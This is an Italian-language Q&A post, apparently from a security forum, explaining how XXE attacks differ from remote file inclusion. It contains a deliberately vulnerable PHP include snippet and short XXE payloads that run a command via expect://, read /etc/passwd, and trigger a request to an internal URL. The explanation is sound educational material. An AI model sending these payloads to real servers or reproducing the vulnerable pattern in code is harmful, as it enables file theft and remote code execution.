Differenza tra entità esterne XML e attacchi di inclusione di file remoti

1

Stavo solo studiando l'attacco di entità esterne XML e Attacco di inclusione di file remoti.

Secondo la mia comprensione, l'attacco di entità esterne XML è dove il parser XML nell'applicazione web ha l'opzione di entità esterne abilitate e l'utente malintenzionato può analizzare un XML esterno da un server remoto ed eseguire comandi o leggere file di sistema locali.

Mentre l'attacco di inclusione dei file remoti è dove l'autore dell'attacco è in grado di eseguire il sistema eseguendo un file che si trova su un server remoto e il contenuto di questo file può anche essere malevolo e l'utente malintenzionato può accedere ai file a livello di sistema o addirittura installa una backdoor usando questa vulnerabilità.

Non sono in grado di distinguere tra attacco di entità esterne XML e attacco di inclusione di file remoti poiché entrambi gli attacchi significano che l'esecuzione di un file remoto può portare alla perdita di informazioni.

    
posta Skynet 27.01.2018 - 20:37
fonte

1 risposta

1

Il linguaggio di programmazione più famoso per l'inclusione di file remoti è PHP. Di seguito è riportato il codice di esempio php per la vulnerabilità di inclusione di file remoti in PHP dall'articolo di wikipedia " Vulnerabilità di Inlucsion di file ". In questo esempio, è incluso il codice proveniente da un server esterno, quindi viene eseguito dall'applicazione vulnerabile. L'inclusione di file remoti è una vulnerabilità della classe di esecuzione di codice in modalità remota.

<?php
   if ( isset( $_GET['language'] ) ) {
      include( $_GET['language'] . '.php' );
   }
?>

Una vulnerabilità XXE (XML External Entity) può anche essere simile all'esempio sopra. Quello che segue è un esempio di OWASP che abusa dello schema expect per eseguire il codice. Questo è solo per PHP.

<?xml version="1.0" encoding="ISO-8859-1"?>
 <!DOCTYPE foo [ <!ELEMENT foo ANY >
   <!ENTITY xxe SYSTEM "expect://id" >]>
    <creds>
       <user>&xxe;</user>
       <pass>mypass</pass>
    </creds>

Lo schema expect esegue il comando (a livello di sistema operativo anziché come codice PHP). PHP ha un documento che spiega come deve essere usato lo schema expect.

Ma se rimuoviamo il focus da PHP e guardiamo all'applicazione web in generale, spesso si può abusare di XXE solo per guardare i file locali (o i file remoti che l'applicazione Web vulnerabile ha accesso alla rete). Generalmente fatto con il seguente carico utile:

 <?xml version="1.0" encoding="ISO-8859-1"?>
 <!DOCTYPE foo [  
   <!ELEMENT foo ANY >
   <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>

Un altro caso di uso improprio per XXE, è che può essere utilizzato per attivare chiamate sensibili a applicazioni Web interne utilizzando il metodo GET. Ad esempio:

 <?xml version="1.0" encoding="ISO-8859-1"?>
 <!DOCTYPE foo [  
   <!ELEMENT foo ANY >
   <!ENTITY xxe SYSTEM "https://internal.hawaii.gov/api/pacom/alert" >]><foo>&xxe;</foo>

Ma la linea di fondo è che l'inclusione di file remoti e XXE non è correlata. Entrambi potrebbero portare all'esecuzione di codice in modalità remota. Generalmente, l'inclusione di file remoti è l'esecuzione di codice in modalità remota e XXE è abusato per rubare dati da file locali (sul server)

    
risposta data 28.01.2018 - 01:56
fonte

Leggi altre domande sui tag